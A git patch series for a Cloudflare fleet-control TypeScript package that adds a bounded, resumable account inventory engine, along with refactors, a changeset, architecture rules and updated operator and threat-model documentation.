!== derived) { + differences.push( + `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`, + ); + } + return differences; + } + if (Array.isArray(committed) !== Array.isArray(derived)) { + differences.push( + `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, + ); + return differences; + } + if (Array.isArray(committed)) { + if (committed.length !== derived.length) { + differences.push( + `${path}: committed ${committed.length} item(s) / derived ${derived.length} item(s)`, + ); + } + const length = Math.max(committed.length, derived.length); + for (let index = 0; index < length; index += 1) { + const onlyDerived = index >= committed.length; + if (onlyDerived || index >= derived.length) { + const side = onlyDerived ? 'derived only' : 'committed only'; + const value = onlyDerived ? derived[index] : committed[index]; + differences.push(`${path}[${index}]: ${side} ${describeValue(value)}`); + continue; + } + structuralDifferences( + committed[index], + derived[index], + `${path}[${index}]`, + differences, + ); + } + return differences; + } + const committedKeys = Object.keys(committed); + const derivedKeys = Object.keys(derived); + if (committedKeys.join(',') !== derivedKeys.join(',')) { + differences.push( + `${path}: committed keys [${committedKeys.join(', ')}] / derived keys [${derivedKeys.join(', ')}]`, + ); + } + for (const key of new Set([...committedKeys, ...derivedKeys])) { + structuralDifferences( + committed[key], + derived[key], + `${path}.${key}`, + differences, + ); + } + return differences; +} + +function summary(drain) { + return ( + `${drain.requests.length} requests, ` + + `${drain.inventory.findings.length} findings, ` + + `${drain.inventory.deployments.length} deployments, ` + + `${drain.inventory.routes.length} routes` + ); +} + +async function main(argv) { + const { check } = parseArguments(argv); + if (process.features.typescript !== 'transform') { + reexecuteWithTypeTransform(argv); + } + registerTypeScriptResolution(); + const { runFleetInventoryDrain } = await import(WORLD_MODULE); + const drain = await runFleetInventoryDrain(); + + if (!check) { + writeFileSync(BASELINE_FILE, baselineSource(drain)); + formatGeneratedFile(); + process.stdout.write( + `wrote ${BASELINE_RELATIVE_PATH}: ${summary(drain)}\n`, + ); + return 0; + } + + if (!existsSync(BASELINE_FILE)) { + process.stderr.write( + `drain baseline is missing: ${BASELINE_RELATIVE_PATH}\n` + + 'run `node scripts/record-drain-baseline.mjs` on the pre-rewrite tree\n', + ); + return 1; + } + const committed = await import(BASELINE_FILE); + const differences = [ + ...structuralDifferences( + committed.DRAIN_BASELINE_REQUESTS, + drain.requests, + 'requests', + [], + ), + ...structuralDifferences( + committed.DRAIN_BASELINE_INVENTORY, + drain.inventory, + 'inventory', + [], + ), + ]; + if (differences.length === 0) { + process.stdout.write( + `drain baseline matches ${BASELINE_RELATIVE_PATH}: ${summary(drain)}\n`, + ); + return 0; + } + process.stderr.write( + `drain baseline drifted from ${BASELINE_RELATIVE_PATH}\n` + + `${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n` + + `${differences.map((difference) => ` ${difference}`).join('\n')}\n`, + ); + return 1; +} + +const invokedPath = process.argv[1] + ? pathToFileURL(resolve(process.argv[1])).href + : undefined; +if (invokedPath === import.meta.url) { + process.exit(await main(process.argv.slice(2))); +} From 0c3c7d34e330a78b66495e3427a206b91a158899 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 02:41:40 +0400 Subject: [PATCH 049/169] chore(fleet-control): use pnpm exec for baseline formatting and note frozen request order --- .../fixtures/fleet-inventory-drain-world.ts | 8 ++++++++ scripts/record-drain-baseline.mjs | 18 ++++++++---------- 2 files changed, 16 insertions(+), 10 deletions(-) diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts index 7644e9fd..cb013bb8 100644 --- a/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts +++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts @@ -18,6 +18,14 @@ * ownership mismatch, both arms of `incomplete-deployment` (public reachability * and a zone route on a trusted Worker), and the host-route state-egress parse * failure. + * + * PRESERVED BEHAVIOR NOTE: the recorded request ORDER is part of the frozen + * baseline, and parts of it come from `Promise.all` sites in the drain + * (`cloudflare-client.ts` per-script inventory and dispatch inspection). That + * order is stable for this world but is not guaranteed by construction, so a + * later rewrite must preserve it deliberately rather than assume it. If a + * rewrite legitimately changes concurrency, the ordering change is a + * compatibility decision to escalate — not a baseline to quietly re-record. */ import { CloudflareProvisioningClient } from '../../src/cloudflare-client.js'; diff --git a/scripts/record-drain-baseline.mjs b/scripts/record-drain-baseline.mjs index 4b20c408..0f6f5a99 100644 --- a/scripts/record-drain-baseline.mjs +++ b/scripts/record-drain-baseline.mjs @@ -42,7 +42,9 @@ const BASELINE_FILE = join( ); const BASELINE_RELATIVE_PATH = 'packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts'; -const BIOME_BINARY = join(REPOSITORY_ROOT, 'node_modules', '.bin', 'biome'); +// `pnpm exec` rather than a hard-coded node_modules/.bin path, matching +// build-api-docs.mjs; the .bin shim location is a pnpm implementation detail. +const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'; function usage(message) { process.stderr.write( @@ -169,15 +171,11 @@ export const DRAIN_BASELINE_INVENTORY = ${render(inventory)} as const satisfies } function formatGeneratedFile() { - if (!existsSync(BIOME_BINARY)) { - throw new Error( - `biome is not installed at ${BIOME_BINARY}; run pnpm install first`, - ); - } - const result = spawnSync(BIOME_BINARY, ['check', '--write', BASELINE_FILE], { - cwd: REPOSITORY_ROOT, - stdio: ['ignore', 'ignore', 'inherit'], - }); + const result = spawnSync( + PNPM, + ['exec', 'biome', 'check', '--write', BASELINE_FILE], + { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] }, + ); if (result.error) throw result.error; if (result.status !== 0) { throw new Error('biome refused the generated baseline'); From d2b387fc0972eae0a5e3da03db9b8eaa44047041 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 03:16:40 +0400 Subject: [PATCH 050/169] refactor(fleet-control): share the inventory bound refusal across provider modules --- .../fleet-control/src/cloudflare-client-config.ts | 11 +++++++++++ packages/fleet-control/src/cloudflare-client.ts | 7 +------ .../src/cloudflare-worker-attachment-scan.ts | 7 +------ 3 files changed, 13 insertions(+), 12 deletions(-) diff --git a/packages/fleet-control/src/cloudflare-client-config.ts b/packages/fleet-control/src/cloudflare-client-config.ts index 2726d50d..9b3c2f90 100644 --- a/packages/fleet-control/src/cloudflare-client-config.ts +++ b/packages/fleet-control/src/cloudflare-client-config.ts @@ -3,3 +3,14 @@ export const CLOUDFLARE_SDK_MAX_RETRIES = 2; export const CLOUDFLARE_SDK_MAX_ATTEMPTS = CLOUDFLARE_SDK_MAX_RETRIES + 1; export const CLOUDFLARE_INVENTORY_BOUND = 10_000; + +/** + * Fixed refusal shared by every bounded provider inventory traversal. It lives + * here because the client, the attachment scanner, and the bounded inventory + * engine all enforce the same bound and must refuse with the same bytes. + */ +export function inventoryBoundExceeded(label: string, max: number): Error { + return new Error( + `${label} exceeded the supported inventory bound of ${max} items`, + ); +} diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 51a653a7..9d3f3384 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -10,6 +10,7 @@ import { canonicalApplicationBindings } from './application-bindings.js'; import { CLOUDFLARE_INVENTORY_BOUND, CLOUDFLARE_SDK_MAX_RETRIES, + inventoryBoundExceeded, } from './cloudflare-client-config.js'; import { attachCustomDomain, @@ -267,12 +268,6 @@ export class CloudflareProviderRequestNotDispatchedError extends Error { } } -function inventoryBoundExceeded(label: string, max: number): Error { - return new Error( - `${label} exceeded the supported inventory bound of ${max} items`, - ); -} - const REQUIRED_ZONE_PERMISSION_GROUPS = [ ['Zone Read'], ['Workers Routes Read'], diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index f496684f..5454bb1e 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -4,6 +4,7 @@ import { createHash } from 'node:crypto'; import { CLOUDFLARE_INVENTORY_BOUND, CLOUDFLARE_SDK_MAX_ATTEMPTS, + inventoryBoundExceeded, } from './cloudflare-client-config.js'; import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js'; import { isNotFound } from './cloudflare-provider-errors.js'; @@ -181,12 +182,6 @@ function codeUnitCompare(left: string, right: string): number { return left < right ? -1 : left > right ? 1 : 0; } -function inventoryBoundExceeded(label: string, max: number): Error { - return new Error( - `${label} exceeded the supported inventory bound of ${max} items`, - ); -} - function drift(): never { throw new CloudflareAttachmentScanDriftError(); } From 2600c0757811ad70ea123ac8c41d11647af1d447 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 05:08:16 +0400 Subject: [PATCH 051/169] feat(fleet-control): add bounded account inventory and drain the shared engine Adds the bounded resumable account inventory coordinator over the R3-A run store, plus the provider stage engine both it and collectFleetInventory now share. The in-memory drain is proven behavior-preserving by the frozen golden baseline, and a second independent world proves the bounded path materializes the same inventory the drain returns. --- .changeset/bounded-fleet-inventory.md | 17 + .dependency-cruiser.cjs | 16 + docs/fleet-control.md | 12 + docs/security-threat-model.md | 12 + .../fleet-control/src/cloudflare-client.ts | 1068 +++------ .../src/cloudflare-fleet-inventory.ts | 2064 +++++++++++++++++ .../src/fleet-inventory-advance.ts | 287 +++ .../src/fleet-inventory-state.ts | 378 ++- packages/fleet-control/src/index.ts | 23 + .../test/cloudflare-fleet-inventory.test.ts | 1270 ++++++++++ .../test/fleet-inventory-advance.test.ts | 1222 ++++++++++ .../inventory-advance-imports-provider.ts | 2 + .../architecture-positive-controls.test.mjs | 2 + 13 files changed, 5633 insertions(+), 740 deletions(-) create mode 100644 .changeset/bounded-fleet-inventory.md create mode 100644 packages/fleet-control/src/cloudflare-fleet-inventory.ts create mode 100644 packages/fleet-control/src/fleet-inventory-advance.ts create mode 100644 packages/fleet-control/test/cloudflare-fleet-inventory.test.ts create mode 100644 packages/fleet-control/test/fleet-inventory-advance.test.ts create mode 100644 scripts/architecture-fixtures/inventory-advance-imports-provider.ts diff --git a/.changeset/bounded-fleet-inventory.md b/.changeset/bounded-fleet-inventory.md new file mode 100644 index 00000000..abebb64a --- /dev/null +++ b/.changeset/bounded-fleet-inventory.md @@ -0,0 +1,17 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Add a bounded, resumable account inventory API with durable generations. `advanceFleetInventory()` performs at most one provider stage chunk per call against a `FleetInventoryRunStore`; `D1FleetInventoryRunStore` implements that port over the existing Fleet D1 binding with operation-keyed runs, lease-fenced guarded batches, generation pinning, and bounded garbage collection. Build the provider seam with `cloudflareFleetInventoryContext(client)`, call `start` with an operation id, then re-enqueue only the pending token each call returns. The final call returns a `FleetInventoryGenerationRef`; read the rows back as today's `FleetResourceInventory` with `readFleetInventoryGeneration()`. Budgets are caller-supplied and validated: `maxProviderRequests` 9..1,000 and `maxStagedRowsPerChunk` 1..2,000 (default 500). + +- `collectFleetInventory()` keeps its exact signature, refusal message, provider encounter order, finding vocabulary, finding order, and result bytes. It now drains the same engine in memory, and a frozen golden baseline pins all of that. The one exception is the scale limit below. +- **BEHAVIOR CHANGE (scale limit):** `collectFleetInventory()` is now subject to the same `maxProviderRequests` bound as a bounded run, capped at 1,000 per stage chunk, and six stages carry no resumption cursor so they must finish in one chunk. An account whose largest such stage needs more than 1,000 provider operations — in practice roughly 1,000 prefix-matching plain Workers, which `route-claims` reaches first — now rejects with `fleet inventory stage '' cannot complete one chunk within its provider request budget` instead of returning an inventory, where the previous single-pass enumeration completed under the 10,000-item collection bound. Nothing is written and no partial result is returned. There is deliberately no unbounded mode; narrow `scriptNamePrefix` to split such an account. See the fleet control guide for the stage list and the arithmetic. +- Its options parameter gains the exported alias `CollectFleetInventoryOptions`. The shape is identical, so this is not a break. +- **HARDENING:** the two durable finding details that previously interpolated a provider error string now store the fixed templates `registered script '' could not be inspected` and `plain Worker '' could not be inventoried`. The transient text stays call-local, so `collectFleetInventory()` still returns today's exact bytes while a persisted row carries no provider text. +- **HARDENING:** a raw host-routing KV key name that is over-length or credential-shaped refuses the run; one that is merely unprintable or base64-shaped yields a `malformed-script-registration` finding naming the key by its listing ordinal rather than by its bytes. That finding is positionally attributable but does not carry the offending name. +- Only a finalized generation is readable. The latest finalized generation reads without a pin; every older generation must be pinned before it is read, because pruning removes finalized-or-failed, non-latest, unpinned generations. +- A generation is a point-in-time-per-stage snapshot, not a globally consistent one. A resource that changes between stages is recorded exactly as the single-call enumeration surfaces it — the same guarantee `collectFleetInventory()` has always given. +- Bounded cursor history beyond the last committed offset is deliberately out of scope: a single-pass resumable scan needs only the last offset. +- **INTERNAL:** `inventoryBoundExceeded` is consolidated into `cloudflare-client-config.ts` and shared by both provider modules. The refusal messages are byte-identical. + +No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index a2fd73ff..92b9bca7 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -251,6 +251,22 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-inventory-advance-is-transport-neutral', + severity: 'error', + comment: + 'The bounded account inventory coordinator depends only on provider-neutral ports and state. Keeping provider clients, the Cloudflare inventory stage engine, Wrangler, concrete export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the transport-neutral boundary.', + from: { + path: [ + '^packages/fleet-control/src/fleet-inventory-advance\\.ts$', + '^scripts/architecture-fixtures/inventory-advance-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, { name: 'fleet-control-cleanup-advance-is-transport-neutral', severity: 'error', diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 3c39f2d2..67ca9e04 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -213,6 +213,18 @@ Pass that independently collected `FleetResourceInventory` to `auditFleetDrift() The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, and the optional background tick independently, including their last attempt and error. Plain, platform-authored Workers authenticate maintenance with the deployment's maintenance secret. An external release never receives that reusable secret. Fleet control instead signs a short-lived Ed25519 capability bound to the operation, tenant, environment, physical release script, specification digest, expiry, and nonce. The global dispatcher verifies that capability before calling `DISPATCH.get()`, and the trusted state Worker verifies it again against static deployment bindings. `ensure-maintenance` atomically consumes the nonce, while status remains replay-safe and read-only. The state Worker signs the exact result with its per-state HMAC secret, and fleet control ignores the candidate's unsigned body. The mutation request timeout must remain shorter than both the capability lifetime and the active mutation lease. The current verifier is intentionally immutable across an existing global dispatcher and deployment record: ordinary per-tenant key rotation is unsupported. Rotation requires a coordinated fleet maintenance migration or a future overlapping JWKS design. +## Inventory an account under a request budget + +`collectFleetInventory()` still returns one complete `FleetResourceInventory` in a single call, with the same provider encounter order, the same finding vocabulary and order, and the same result bytes. It now drains the bounded engine in memory, which introduces one documented limitation described at the end of this section. When a control-plane Worker cannot hold that whole enumeration inside one request, drive the same engine in bounded steps with `advanceFleetInventory()`. Construct the provider seam with `cloudflareFleetInventoryContext(client)` and a `D1FleetInventoryRunStore`, call `start` with an operation id and the same options `collectFleetInventory()` accepts (now exported as `CollectFleetInventoryOptions`), then re-enqueue only the pending token each call returns. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. One call performs at most one provider stage chunk, bounded by `maxProviderRequests` (an integer from 9 through 1,000) and `maxStagedRowsPerChunk` (1 through 2,000, default 500). A stale token returns the current durable result with no provider request, while a future token, an unknown operation, and a foreign active operation fail closed. + +The final call returns a `FleetInventoryGenerationRef`, not the inventory. Read the rows back with `readFleetInventoryGeneration(store, generation)`, which materializes the same `FleetResourceInventory` shape `auditFleetDrift()` expects. Only a finalized generation is readable: a staging, failed, or count-divergent generation is structurally unreadable. The latest finalized generation reads without a pin; any older generation must be pinned first with `pinGeneration()`, because `pruneInventoryGenerations()` deletes only finalized-or-failed, non-latest, unpinned generations. + +Two limitations are deliberate. First, a generation is a point-in-time-per-stage snapshot, not a globally consistent one: a resource that changes between stages — a script deleted after the script listing but before its detail read — is recorded exactly as the single-call drain surfaces it, through the same `incomplete-deployment` finding. This is the guarantee `collectFleetInventory()` has always given. Second, durable findings never echo transient provider text. The two sites that previously interpolated a provider error store the fixed details `registered script '' could not be inspected` and `plain Worker '' could not be inventoried`; the transient text stays call-local, which is why `collectFleetInventory()` can still compose today's exact bytes while the durable row cannot. + +One compatibility limitation follows from that shared engine, and it applies to `collectFleetInventory()` as well as to a bounded run. A stage chunk is bounded by `maxProviderRequests`, whose maximum is 1,000, and six stages carry no resumption cursor or ordinal: `registration-postprocess`, `custom-domains`, `zone-authority`, `route-claims`, `d1-databases`, and `do-namespaces`. Those six must finish inside one chunk, so exhausting the budget there is a refusal rather than partial progress. `collectFleetInventory()` supplies the maximum 1,000 to every chunk, which means an account whose single non-resumable stage needs more than 1,000 provider operations now refuses where the previous single-pass enumeration completed under the 10,000-item collection bound. In practice `route-claims` is the first to reach it: it re-reads the custom domains, the zone list, every zone's route pages, and one identity read per prefix-matching plain Worker, so roughly 1,000 prefix-matching plain Workers in one account is the threshold. An operator sees `fleet inventory stage 'route-claims' cannot complete one chunk within its provider request budget` (naming whichever stage saturated) instead of an inventory; nothing is written and no partial result is returned. The 9-through-1,000 budget is a deliberate bounded boundary, so there is no unbounded mode: split such an account across narrower `scriptNamePrefix` values. + +Host-routing KV key names are the one untrusted input in the enumeration. An over-length or credential-shaped key name refuses the run outright. A key name that is merely unprintable or base64-shaped does not: the run records a `malformed-script-registration` finding that names the key by its zero-based listing ordinal — `script inventory key at ordinal has an unsafe name` — instead of echoing the bytes. The accepted trade-off is attribution: that finding is positionally attributable but does not carry the offending name, so resolving it means listing the KV namespace yourself. A misconfigured or hostile key must never be able to kill an account inventory, and hostile bytes must never reach durable state. + ## Decommission without losing the export Use `advanceDecommissionDeployment()` from a Queue-driven control-plane Worker for request-bounded normal decommissioning. Call it first with `start`, then re-enqueue only the pending token returned by each call. Fleet D1 owns the operation and scan progress. A Queue message carries a continuation claim, not authority. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index f144ba5b..c4d98f9e 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -156,6 +156,18 @@ A completed cleanup writes an immutable operation-keyed terminal receipt atomica `forceDecommissionDeployment()` stays a root-only, evidence-free, receipt-free last resort and refuses during an active bounded cleanup. On capable stores it releases the deployment's current ownership claims with the row, but it does not delete the ordinary Worker script or application R2 buckets, so a released name can precede residual physical resources. After a force, do not reprovision the same names until those residuals are confirmed removed: provisioning fails closed on ownership mismatch — the pre-existing-database refusal and the Worker ownership attestation — rather than adopting foreign resources. +### Bounded account inventory + +A bounded account inventory run persists its progress and its enumerated rows in Fleet D1, so what may enter those rows is a boundary in its own right. Every durable inventory string passes a credential and length control: at most 512 bytes, and none of the case-insensitive substrings `authorization`, `bearer`, `x-auth`, or `api_token`. Every value interpolated into a durable `finding` detail additionally has to be printable and free of whitespace after the caller normalizes a hostname to ASCII. Neither control is a name grammar, because Cloudflare KV key names permit all printable non-whitespace characters and custom domains may be returned as internationalized Unicode; a narrower charset would abort a run that should merely have recorded a `malformed-route` finding. + +The two sites that previously interpolated a provider error string are sanitized. A durable finding stores only `registered script '' could not be inspected` or `plain Worker '' could not be inventoried`. The transient provider text stays in call-local diagnostics that are never written to a row, a deployment fact, or the run record. `collectFleetInventory()` composes today's exact bytes from those call-local diagnostics, so the in-memory result is unchanged while the durable row carries no provider text. + +Resource names reached through the enumeration — script names, physical script names, database names, route hostnames, zone route patterns, and dispatch namespace names — are either constructed by this codebase from the tenant tag and environment or configured by the operator. A secret can appear in one only if an operator names a resource after a secret, which is self-inflicted and out of scope, exactly as it already is for today's in-memory findings and every existing fleet record field. Bounded inventory adds no new channel there. The one genuinely untrusted input is the raw host-routing KV key name, which any KV writer can set: it faces the credential and length control first, and a name that is base64 or high-entropy shaped (32 or more characters matching the base64 alphabet with no `.`) is never persisted. Such a key takes an ordinal-only finding instead, so a hostile key can neither be echoed into durable state nor kill the run. + +Provider resumption cursors are the one deliberate carve-out. `stage.cursor` and `stage.startAfter` are opaque provider text and they do live in the run record, because bounded resumption is impossible without them. They are confined to the run record, face the credential and length control only — never the finding-detail rule, since a legitimate cursor is base64 — and are never copied into an inventory row, a deployment fact, a continuation token, or a Queue message. Continuation tokens carry a version, an operation id, and a revision, and nothing else. + +Only a finalized generation is readable. Partial, failed, and count-divergent generations are structurally unreadable, and historical generations require an explicit pin before a read so bounded garbage collection cannot race a legitimate reader. A generation is a point-in-time-per-stage snapshot rather than a globally consistent one; account-wide mutation locking against independent external tokens remains out of scope, unchanged from the single-call enumeration. + ### Deployment sentinel Provisioning writes the same stable tag to two independent locations: diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 9d3f3384..69cc60d6 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -12,6 +12,12 @@ import { CLOUDFLARE_SDK_MAX_RETRIES, inventoryBoundExceeded, } from './cloudflare-client-config.js'; +import { + advanceCloudflareFleetInventoryStage, + type CloudflareFleetInventoryDeps, + type FleetInventoryOrdinaryScriptDetail, + type FleetInventoryProviderBinding, +} from './cloudflare-fleet-inventory.js'; import { attachCustomDomain, type CloudflareSdk, @@ -49,7 +55,6 @@ import { advanceWorkerAttachmentScan, CloudflareAttachmentScanDriftError, type CloudflareWorkerAttachmentScanContext, - listAllDispatchScripts, listAllWorkerAttachments, type WorkerAttachmentScanChunk, type WorkerAttachmentScanInput, @@ -62,11 +67,19 @@ import { isDatabaseExportReceiptError, } from './database-export-store.js'; import { - type HostRoutingTarget, - parseHostRoutingTarget, -} from './host-routing.js'; + advanceFleetInventoryProgress, + type CollectFleetInventoryOptions, + canonicalFleetInventoryRunOptions, + type FleetInventoryProviderContext, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + type FleetInventoryStageResult, + initialFleetInventoryProgress, + initialFleetInventoryStage, + materializeFleetInventoryGeneration, +} from './fleet-inventory-state.js'; +import type { HostRoutingTarget } from './host-routing.js'; import { - canonicalDeploymentEgressPolicy, externalPlatformResourceGroupId, externalStateScriptName, FLEET_AUDIT_PROXY_BINDING, @@ -107,6 +120,16 @@ const AUDIT_CONSUMER_SETTINGS = Object.freeze({ max_wait_time_ms: 5_000, }); const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647; +/** The single in-memory drain reads one generation that is never persisted. */ +const DRAIN_GENERATION = 1; +/** + * The in-memory drain runs each stage to completion, so it hands every chunk + * the largest budget the shared 9..1,000 provider-request contract allows. + */ +const DRAIN_PROVIDER_REQUEST_BUDGET = 1_000; +const R2_INVENTORY_PAGE_SIZE = 1_000; +const DRAIN_INSPECT_SUFFIX = ' could not be inspected'; +const DRAIN_INVENTORY_SUFFIX = ' could not be inventoried'; const STRUCTURED_CLONE = structuredClone; const UTF8_ENCODER = new TextEncoder(); const MAX_DURABLE_OBJECT_NAMESPACE_ID_BYTES = 4_096; @@ -251,10 +274,6 @@ export type { OrdinaryWorkerFootprint } from './cloudflare-ordinary-worker-opera const SCRIPT_INVENTORY_PREFIX = '__anchorage_script__:'; const FLEET_SCRIPT_TAG = 'fleet:anchorage'; -function tagValue(tags: readonly string[], prefix: string): string | undefined { - return tags.find((tag) => tag.startsWith(prefix))?.slice(prefix.length); -} - /** @inline */ type PreparedOrdinaryWorkerUpload = OperationsPreparedOrdinaryWorkerUpload; /** @inline */ @@ -446,6 +465,44 @@ let scanProviderAttachments: ( input: WorkerAttachmentScanInput, ) => Promise; +let buildFleetInventoryContext: ( + client: CloudflareProvisioningClient, +) => FleetInventoryProviderContext; + +/** + * Restores the two provider-error details the durable engine deliberately + * sanitizes. The chunk's call-local diagnostics carry the transient text, so + * the in-memory drain composes today's exact bytes without the engine ever + * staging them. + */ +function drainFindingRows( + result: FleetInventoryStageResult, +): readonly FleetInventoryStagedRow[] { + if (result.diagnostics.length === 0) return result.rows; + const remaining = [...result.diagnostics]; + return result.rows.map((row) => { + const detail = row.payload.detail; + if (row.kind !== 'finding' || typeof detail !== 'string') return row; + const label = detail.endsWith(DRAIN_INSPECT_SUFFIX) + ? detail.slice(0, -DRAIN_INSPECT_SUFFIX.length) + : detail.endsWith(DRAIN_INVENTORY_SUFFIX) + ? detail.slice(0, -DRAIN_INVENTORY_SUFFIX.length) + : undefined; + if (label === undefined) return row; + const prefix = `${label}: `; + const index = remaining.findIndex((entry) => entry.startsWith(prefix)); + const diagnostic = index < 0 ? undefined : remaining.splice(index, 1)[0]; + if (diagnostic === undefined) return row; + return { + ...row, + payload: { + ...row.payload, + detail: `${detail}: ${diagnostic.slice(prefix.length)}`, + }, + }; + }); +} + /** * Runs `operation`; rejects with * `CloudflareProviderRequestNotDispatchedError` (`cause` = the failure) when it @@ -469,6 +526,17 @@ export function advanceCloudflareWorkerAttachmentScan( return scanProviderAttachments(client, input); } +/** + * @internal Package-private provider seam for the bounded account inventory + * coordinator. Each context memoizes its provider listings, so one context + * serves one bounded run or one in-memory drain. + */ +export function cloudflareFleetInventoryContext( + client: CloudflareProvisioningClient, +): FleetInventoryProviderContext { + return buildFleetInventoryContext(client); +} + /** @internal Package-private conversion for the bounded lifecycle provider. */ export function mapDecommissionAttachmentScanChunk( chunk: WorkerAttachmentScanChunk, @@ -566,6 +634,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { client.#trackDispatch(operation); scanProviderAttachments = (client, input) => advanceWorkerAttachmentScan(client.#attachmentScan, input); + buildFleetInventoryContext = (client) => client.#fleetInventoryContext(); } constructor( @@ -1053,12 +1122,6 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return listOrdinaryWorkerSecretNames(this.#ordinary, scriptName); } - async #dispatchScripts( - dispatchNamespace: string, - ): Promise[]> { - return listAllDispatchScripts(this.#attachmentScan, dispatchNamespace); - } - async listOrdinaryWorkerDatabases( filter?: Readonly<{ name?: string }>, ): Promise { @@ -1383,741 +1446,280 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } - async collectFleetInventory(options: { - readonly hostRoutingKvId?: string; - readonly databaseNamePrefix: string; - readonly scriptNamePrefix: string; - readonly includeDispatchNamespace?: boolean; - readonly includeR2Buckets?: boolean; - }): Promise { + /** + * Drains the bounded account inventory engine in memory: one stage chunk per + * iteration over a call-local accumulator, with no durable run, no + * continuation token, and no account lease. Observable behavior — provider + * encounter order, finding vocabulary, finding order, and result bytes — is + * unchanged and pinned by the frozen golden baseline. + */ + async collectFleetInventory( + options: CollectFleetInventoryOptions, + ): Promise { if (!options.databaseNamePrefix || !options.scriptNamePrefix) { throw new Error( 'databaseNamePrefix and scriptNamePrefix are required for fleet inventory', ); } - const findings: FleetResourceInventory['findings'][number][] = []; - const registrations: Array< - ScriptInventoryTarget & { readonly keyOwned: boolean } - > = []; - const routes: FleetResourceInventory['routes'][number][] = []; - if (options.hostRoutingKvId) { - for await (const key of this.#collectBounded( - this.#client.kv.namespaces.keys.list(options.hostRoutingKvId, { - account_id: this.#accountId, - }), - 'host-routing KV key inventory', - )) { - if (!key.name) continue; - const isRegistration = key.name.startsWith(SCRIPT_INVENTORY_PREFIX); - const registeredName = isRegistration - ? key.name.slice(SCRIPT_INVENTORY_PREFIX.length) - : undefined; - const serialized = await this.#readHostRouting( - options.hostRoutingKvId, - key.name, - ); - if (serialized === undefined) { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: isRegistration ? 'stale-script-registration' : 'stale-route', - detail: `fleet inventory key '${key.name}' disappeared while it was being read`, - }); - continue; - } - let value: unknown; - try { - value = JSON.parse(serialized); - } catch { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: isRegistration - ? 'malformed-script-registration' - : 'malformed-route', - detail: `fleet inventory key '${key.name}' is not valid JSON`, - }); - continue; - } - if (!value || typeof value !== 'object') { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: isRegistration - ? 'malformed-script-registration' - : 'malformed-route', - detail: `fleet inventory key '${key.name}' is not an object`, - }); - continue; - } - const candidate = value as Record; - if (isRegistration) { - if ( - typeof candidate.scriptName !== 'string' || - typeof candidate.tenantTag !== 'string' || - typeof candidate.environment !== 'string' || - typeof candidate.databaseId !== 'string' || - typeof candidate.routeHostname !== 'string' - ) { - findings.push({ - tenantTag: - typeof candidate.tenantTag === 'string' - ? candidate.tenantTag - : 'unknown', - environment: - typeof candidate.environment === 'string' - ? candidate.environment - : 'unknown', - kind: 'malformed-script-registration', - detail: `script inventory key '${key.name}' has incomplete ownership metadata`, - }); - continue; - } - if ( - !candidate.scriptName.startsWith(options.scriptNamePrefix) && - !registeredName?.startsWith(options.scriptNamePrefix) - ) { - continue; - } - const keyOwned = registeredName === candidate.scriptName; - registrations.push({ - scriptName: candidate.scriptName, - tenantTag: candidate.tenantTag, - environment: candidate.environment, - databaseId: candidate.databaseId, - routeHostname: candidate.routeHostname, - keyOwned, - }); - if (!keyOwned) { - findings.push({ - tenantTag: candidate.tenantTag, - 